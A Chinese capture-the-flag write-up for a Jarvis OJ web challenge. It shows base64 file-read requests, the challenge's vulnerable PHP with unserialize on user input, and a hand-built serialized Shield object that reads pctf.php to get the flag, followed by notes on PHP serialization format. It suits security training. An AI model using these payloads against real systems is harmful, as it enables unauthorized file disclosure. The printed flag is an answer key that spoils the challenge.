showimg.php,CTF-WEB-神盾局的秘密 #class#源文件读取#unserialize

神盾局的秘密—— PCTF{W3lcome_To_Shi3ld_secret_Ar3a}

描述

这里有个通向神盾局内部网络的秘密入口,你能通过漏洞发现神盾局的秘密吗?http://web.jarvisoj.com:32768/

分析

抓包发现: showimg.php?img=c2hpZWxkLmpwZw==,c2hpZWxkLmpwZw==为base64后的shield.jpg。

判断考点为读取源代码,试查看index.php内容,showimg.php?img=aW5kZXgucGhw。如果有传非空的class,则反序列化class值再用类里的方法readfile。

require_once('shield.php');

$x = new Shield();

#$x = class Shield{ $file = '';}

isset($_GET['class']) && $g = $_GET['class'];

#$g=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

if (!empty($g)) {

$x = unserialize($g);

#$x = class Shield{ $file = "pctf.php";}

}

echo $x->readfile();

#echo @file_get_contents("pctf.php");

?>

showimg.php?img=c2hpZWxkLmpwZw==

于是读取shield.php的内容:img=c2hpZWxkLnBocA==。存在一个构造函数和一个readfile(file值不为空且不含..|/|\时,读file值的文件内容)

//flag is in pctf.php

class Shield {

public $file;

function __construct($filename = '') {

#__construct():PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法,只有在对象创建时自动被调用

$this -> file = $filename;

}

function readfile() {

if (!empty($this->file) && stripos($this->file,'..')===FALSE

&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {

return @file_get_contents($this->file);}}}?>

读取pctf.php的内容:view-source:http://web.jarvisoj.com:32768/showimg.php?img=cGN0Zi5waHA=,提示file not found。在之前的源代码里都没看到这句,想来想去漏掉了showimg.php(一般来说最先看的是这个才对吧你毕竟在这里get来着(﹁"﹁)),于是看到果然有对img判断,不能有pctf。由于index.php里也可以readfile,转而投奔。具体的分析过程见最上面的注释。

$f = $_GET['img'];

if (!empty($f)) {

$f = base64_decode($f);

if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE

&& stripos($f,'pctf')===FALSE) {

readfile($f);

} else {

echo "File not found!";

}

}

?>

徒手写序列化:/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}。目标是传入:class Shield{ $file = "pctf.php";}

然后出题在这个地方还要放坑……还好一直在view-source:下没有离开过。。。

//Ture Flag : PCTF{W3lcome_To_Shi3ld_secret_Ar3a}

//Fake flag:

echo "FLAG: PCTF{I_4m_not_fl4g}"

总结

1.学好php是多么的重要……

2.能读取文件的时候要把所有已知的都试试()

3.徒手写序列化还是蛮爽的()

格式:

对象类型:对象名长度:“对象名”:对象成员变量个数:{变量1类型:变量名1长度:变量名1; 参数1类型:参数1长度:参数1; 变量2类型:变量名2长度:“变量名2”; 参数2类型:参数2长度:参数2;… …}

对象类型:Class:用O表示,Array:用a表示。

变量和参数类型:string:用s表示,Int:用i表示,Array:用a表示。

序列符号:参数与变量之间用分号(;)隔开,同一变量和同一参数之间的数据用冒号(:)隔开。

例子一:

class Person{private $name = ‘Thinking’;private $sex = ‘man’;}

——serialize——>

O:6:”Person”:2:{s:12:” Person name”;s:8:”Thinking”;s:11:” Person sex”;s:3:”man”;}

例子二:

$Person = array(int(4),’sex’ => ‘man’);

——serialize——>

a:2:{i:4;s:3:”sex”;s:3:”man”;}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值